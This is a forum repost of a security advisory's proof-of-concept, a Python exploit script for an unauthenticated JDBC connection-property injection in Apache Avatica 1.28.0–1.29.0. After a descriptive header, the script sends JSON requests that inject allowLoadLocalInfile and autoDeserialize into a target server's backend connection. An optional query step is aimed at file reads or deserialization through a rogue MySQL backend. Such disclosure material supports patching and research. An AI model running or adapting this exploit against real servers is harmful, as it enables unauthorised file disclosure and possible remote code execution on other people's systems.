Стани премиум член и добиј попуст на 2000+ производи и куп други бенефити!

Apache Avatica 1.29.0 JDBC Connection Property Injection

zeroscience

ZSL Bot v4.89.1.00
31 мај 2010
1.114
667
www.zeroscience.mk
Python:
#!/usr/bin/env python
#
#
# Apache Avatica 1.29.0 JDBC Connection Property Injection
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://calcite.apache.org/avatica
# Affected version: 1.29.0 and 1.28.0
#
# Summary: Avatica is a framework for building database drivers. Avatica
# is defined by a wire API between a client and a server. The Avatica server
# is an HTTP server, the Avatica client is a JDBC driver, and the wire API
# is defined by JSON or Protobuf Buffers. The flexibility of the wire API
# and HTTP transport allows other Avatica clients to be built in any language,
# implementing any client specification. Avatica is a sub-project of the Apache
# Calcite project.
#
# Desc: Apache Calcite Avatica (avatica-server) copies client-supplied JDBC
# connection properties into the backend connection with no filtering by default
# (JdbcMeta.openConnection: fullInfo.putAll(info) then DriverManager.getConnection),
# and authentication is disabled by default, so an unauthenticated remote client
# can inject driver properties such as allowLoadLocalInfile or autoDeserialize.
#
# The backend JDBC URL itself is fixed by the operator, so the injected properties
# only produce impact against a backend that is attacker-controlled or reachable
# via man-in-the-middle: in that case allowLoadLocalInfile can make the backend read
# local files from the Avatica host (disclosure), and autoDeserialize can cause deserialization
# of attacker data, which becomes remote code execution only when a suitable gadget
# is present on the backend classpath.
#
# Tested on: Eclipse Temurin OpenJDK 21.0.6 (LTS)
#            avatica-server 1.28.0
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6013
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6013
#
#
# 13.08.2026
#


import sys
import json
import uuid
import argparse
import urllib.error
import urllib.request

r"""
Usage:
    python avatica.py http://TARGET:8765/
    python avatica.py http://TARGET:8765/ --actuate --sql "SELECT 1"
"""

PROPS = {"allowLoadLocalInfile"  : "true",
         "allowUrlInLocalInfile" : "true",
         "autoDeserialize"       : "true"}

def rpc(url, obj):
    body = json.dumps(obj).encode()
    req = urllib.request.Request(url, data=body, method="POST",
                                 headers={"Content-Type": "application/json"})
    try:
        with urllib.request.urlopen(req, timeout=29) as r:
            return r.status, r.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")
    except Exception as e:
        return None, f"__ERR__ {e}"

def main():
    ap = argparse.ArgumentParser(description="Avatica unauth connection-property injection")
    ap.add_argument("target", help="Avatica server URL, e.g. http://10.2.5.1:8765/")
    ap.add_argument("--actuate", action="store_true", help="also run a query so the backend connection is used")
    ap.add_argument("--sql", default="SELECT 1", help="query for --actuate (default: SELECT 1)")
    a = ap.parse_args()

    cid = str(uuid.uuid4())
    open_req = {"request": "openConnection", "connectionId": cid, "info": PROPS}
    print(f"[*] POST {a.target}  (unauthenticated)")
    print(f"[*] OpenConnectionRequest info = {json.dumps(PROPS)}")
    status, body = rpc(a.target, open_req)
    print(f"[*] HTTP {status}\n    {body}\n")

    if status == 401 or (body and '"response"' in body and '"error"' in body and 'auth' in body.lower()):
        print("[-] Looks auth-gated or errored - the server may have authentication enabled, or uses protobuf"
              " serialization. Injection not possible.")
        sys.exit(1)
    if not (body and 'openConnection' in body):
        print("[-] Did not get an openConnection response (protobuf-only server, or different path). "
              "Point --target at the JSON Avatica endpoint.")
        sys.exit(1)

    print("[+] Unauthenticated client-supplied connection properties were accepted into the server's backend")
    print("    connection (allowLoadLocalInfile / allowUrlInLocalInfile / autoDeserialize). Injection confirmed.")

    if a.actuate:
        st = {"request": "createStatement", "connectionId": cid}
        s_status, s_body = rpc(a.target, st)
        print(f"\n[*] createStatement -> HTTP {s_status}\n    {s_body}")
        sid = None
        try:
            sid = json.loads(s_body).get("statementId")
        except Exception:
            pass
        if sid is not None:
            pe = {"request"      : "prepareAndExecute",
                  "connectionId" : cid,
                  "statementId"  : sid,
                  "sql"          : a.sql,
                  "maxRowCount"  : -1}
            e_status, e_body = rpc(a.target, pe)
            print(f"\n[*] prepareAndExecute {a.sql!r} -> HTTP {e_status}\n    {e_body}")
            print("\n[*] If the server's backend is a MySQL-family driver and you are serving the rogue/MITM")
            print("    MySQL it connects to, this query triggers the LOAD DATA LOCAL INFILE file read / deser.")

    rpc(a.target, {"request": "closeConnection", "connectionId": cid})  # cleanup

if __name__ == "__main__":
    main()



 
— членови онлајн
—мислења
—теми
—членови

Офтопик

Последни огласи

IT.mk/market понуда

Бесплатна достава на 3000 производи
На врв Дно